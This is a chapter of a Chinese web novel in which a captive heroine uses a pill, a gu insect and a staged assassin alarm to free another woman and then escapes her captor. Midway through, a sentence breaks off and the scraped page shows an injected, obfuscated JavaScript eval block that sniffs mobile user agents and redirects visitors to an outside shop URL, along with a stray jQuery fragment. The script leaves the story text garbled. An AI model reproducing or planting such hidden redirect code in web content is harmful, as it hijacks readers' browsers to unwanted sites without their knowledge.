53.你没有另外想说的了吗?

作品:《早逝白月光?我不是路人甲吗

    正所谓兵来将挡,水来土掩。


    白相渡早就料到许未朝对季清不会上心的,每天就被锁在这一个小小的屋子里,也不妨碍她秘密和宗二来往。


    用宗二的话来说就是,乌肆身边不缺他一个,让他来帮忙。


    不过这样也好,倒是方便她的计划了。


    白相渡坐在书桌前,在她画的黑球上打了个叉,砚墨台在桌上不断的动着,像是随时会翻到。


    把最后几个小人打完叉以后,她扫了一眼快砚台底下的油纸包,在桌上又翻找了一翻把墨条都丢了进去。


    被压在底下的东西就在墨条压上来以后,没了力气慢慢停下了动作。


    收回了视线后就侧头望向了屋外,此时的天空微微亮起,时候倒还是算早。


    白相渡垂眸扫了一眼被加长的锁链,心中默默叹了口气。


    季清也不知道使了什么法子,让许未朝在她晚上睡觉的时候把锁链加长了。


    可也自从锁链被加长以后,季清就被罚了禁闭。


    虽说计划有点赶不上变化。


    不过昨天也是她被关禁闭的最后一天,中间若不是宗二偷偷跑去了祠堂,她也不会知道许未朝的心会那么狠。


    前几日下了雨,季清在幼时就落下了病根,到了雨天就会浑身疼。


    若不是身上疼,她也不会等着今天过来。


    屋外笼罩着层薄雾,兴许是因为老天爷知道她们要见面了,特意改成了个好天气。


    白相渡睫毛颤了颤,又想起书桌上的宣纸还没有收,看着上面大大的叉,停顿了片刻,便把那一沓纸随手丢到了书架上。


    也不知是不是动作太大,原本被她丢上去的卷轴忽然滚落了下来。


    还有几卷刚好也滚到了她的脚边。


    因为不是什么特别重要的东西,白相渡并没有把它们细细的收好了。


    几卷敞开的卷轴,上面的落款也是近几年的。


    看着上面各式各样的自己,白相渡眼中毫无波澜,把宣纸放到了已经空了的台面上,默默的弯下了身开始收拾了起来。


    按照许未朝三天来看她一次的频率,今天不出意外的话应该不会过来。


    她等的也就是这一个时机。


    把脚边的画卷收起后,抬头就对上了姗姗来迟的季清。


    季清踏过薄雾,走进了房中,她揉了揉膝盖,弯腰把门口的那几卷画轴抱了起来。


    她脸颊红扑扑的,脸上多了往日没有的红润,眼中满是藏也藏不住的喜悦。


    “若水,我们真的可以一起出去吗?”


    她眼神里满是向往,抱着怀中的画卷欢快的替站在那儿冲着自己笑的少女摆着书架。


    白相渡看着埋头在那里仔细整理的季清,在怀中摸索了片刻把玉瓶掏了出来,抬手又把她怀中剩下的那几卷画轴抽了出来随意的压在了宣纸上。


    “喏,把手伸出来,给你个秘密武器。”


    季清眼睛眨了眨,又看了看自己的手,把手在身上用力擦了几下,才把手心伸了出去。


    白相渡把压的严实的瓶口打开,从里面倒出了一颗圆滚滚的丹药到了季清那有些泛红的手掌上。


    “到时候你记得把它含在舌头底下,别怕我不会让它真的伤到你的。”


    季清没见过这样的东西,她盯着手中那一颗像是裹着层糖衣的小小的丹药看了许久才道:“若水,你瓶子里好像没几颗这糖豆了。”


    白相渡蹲下了身从案板底下抠着贴在上面的小型鸟兽,她随意的嗯了一声,刚好鸟哨也被扣了下来。


    望着还蹲在身旁眼巴巴看着她的季清,白相渡道:“不是什么稀奇的东西,总归是拿来吃的,给谁都一样。”


    说着她又拿起了那个颜色和案板几乎一致的鸟哨,放到了唇边轻声一吹,那个高大的身影又不知从哪棵树上跳了下来翻进了院子中。


    白相渡把手中的鸟哨随手就丢到了宗二怀中,又看了一眼还一脸云里雾里的季清。


    捏起了她手中的丹药就塞到了她的唇边。


    季清呆呆的张口含下了丹药,还没搞清楚状况就见面前的人清了清嗓子。


    “府里进刺客了。”白相渡大声的喊出了这一句话。


    随即猛的一下摔上了门,就把宗二关在了门外。


    她扫了一眼有些紧张的季清,伸手握住了她的手,给予了她一个肯定的眼神。


    直到看到眼前的人平复下了心情,白相渡就以掩耳不及盗铃之势,掀翻了砚台。


    被纸包裹住的东西养精蓄锐了许久,在没了重物压着,它卯足了一股劲,瞬间就冲破了纸包。


    那黑虫是白相渡前几日从许未朝身上顺下来的,也不知道为什么不咬自己。


    但应该是能派上用场的。


    黑虫煽动着翅膀犹豫了一下,又在看到一直在降低自己存在感的女人的那一刻毫不犹豫的就朝她身上飞了过去。


    这蛊虫是自己相公拿心头血喂大的,季清没看清它是从哪里出来的,但就在她害怕的瞬间,原本还在飞的黑虫瞬间消失不见。


    随即脑袋便像是被一层雾蒙了起来,瞬间失去了意识。


    白相渡伸手接住了,快要摔在地上的季清,听着院外已经开始吵吵嚷嚷起来,她伸手快速的就捏住了还想往肉里面爬的黑虫。


    她眼神紧盯着怀中的人,心中默念着,下一刻门便被推开了。


    白相渡深吸了一口气,眼中瞬间蓄满了泪水,抬头就望向了门口已经冲进来的一大群人。


    “夫人夫人,这是怎么了,刺客在哪里?”看着桃粉色裙装的丫鬟,从人群里挤了出来,到了最前端。


    她满脸焦急,小步跑到了距离她们半米处停下了身子。


    她看着眼前少女手上抓着的黑虫瞬间僵住了身子,随即又后退了几步,躲到了人群当中。


    那群赶过来的人,也不断的往后退,但又迫于压力,不得不围在那儿守着白相渡。


    一个胆大的小厮被挤出了人堆,他谨慎的上前了几步蹲到了她们不远处,伸手就探起了季清的鼻息。


    原本看着还算冷静的小厮后退了一步,长长的锁链一下子就把他绊倒在了地上,他向后爬了几步,又回到了人堆里,磕磕巴巴的说了句:“死,死了。”


    白相渡自然也不是为了看这他们演这么一出戏,她抿着唇搂着怀中的季清,替她把脸颊前的碎发撩到了耳后。


    院外此时也响起了又一声鸟哨声。


    人堆依旧吵吵嚷嚷,也不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319890|195353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知是谁说了一声,来刺客之前就是听到这哨声,乌泱泱的一群人就朝着哨声追了过去。


    白相渡冷漠的看着院门口,如果她猜的没错的话,那个小厮一定会去找许未朝。


    能被主人家另眼相看这群人会想分一杯羹的。


    哪又会真正的去抓刺客。


    宗二从老槐杨树上跳了下来,快步走进了房中,伸出了手。


    白相渡抱着怀中的季清站起了身,朝着已经空了一眼的小院,顿了顿便把怀中的人送了过去。


    “记得我之前跟你说话,不要出现纰漏。”白相渡神情严肃的又叮嘱了一遍:“不出一炷香她就会醒过来,到时候我希望你们不是在许府。”


    “那若水小姐你怎么办?”宗二手上抱着季清,也没办法再多带一个人了,他明显也焦急了起来。


    白相渡扫了一眼院外,毫不犹豫的就推了一把面前的人。


    语速极快道:“听从指挥才是你最该做的,快走。”


    在目送着宗二抱人远去后,白相渡才把目光落向了那近乎消失不见的薄雾中。


    一道身影也在她目光落向那儿的一瞬间冲了出来。


    “小渡,小渡你没事吧。”许未朝眼中的关切不似作假。


    白相渡眼中却毫无波澜。


    她不相信这人没看到宗二抱着人走了。


    这种就在眼皮子底下的事情,但幸好季清没有看见。


    “小渡,你说句话呀,为什么不说话,为什么不和我说话?”许未朝那股病态都快要抑制不住了。


    白相渡才抬起了手,把那个黑乎乎的虫子送到了他的眼前。


    “刺客朝我丢过来的,季清替我挡住了。”她语气毫无波澜的把这件个剧本陈述了一遍。


    可面前的人却像是毫无察觉,他上前一步就想要把人抱在怀中,他语气恳切:“你没事就好,没事就好,你要是出事了,就没人能陪我了。”


    白相渡垂下了眼眸,后退了几步道:“你没有另外想说的了吗?”


    许未朝手僵在了半空,他盯着少女脚踝上的锁链看了许久,才摇了摇头道:“无妨,季清命中有劫,能保护你,也算是发挥了最大的用处。”


    “嗯。”白相渡冷眼看着面前的男人,捏着黑虫翅膀的手一松,就随它朝着男人的方向飞了过去。


    她冷笑着双手抱胸,就盯着黑虫爬进了许未朝的胸膛中。


    许未朝身子一僵,他捂着胸口后退了半步,扶着门框喊了几声代号一。


    暗卫来的快,是不假。


    以心头血养虫,蛊虫认主确实也不错。


    可怪就怪在,他这个人太不正常了,自己的命和别人的命什么都不放在眼里。


    也幸好留了一手,给蛊虫脚上抹了药。


    白相渡一脚踢掉挂在她脚踝上根本没锁的的锁链,抬脚跨过了门框,可衣摆却不知道被什么东西挂住了。


    “别走小渡。”恳求的声音从身后传来。


    白相渡回头望着被男人攥在手心的衣摆,弯腰从他的手中抽回了自己的衣摆。


    “最在乎你的人已经死了,我也不属于你。”


    说完,扫了一眼那不断接近的身影,白相渡冷着脸,头也不回的朝着院外走去。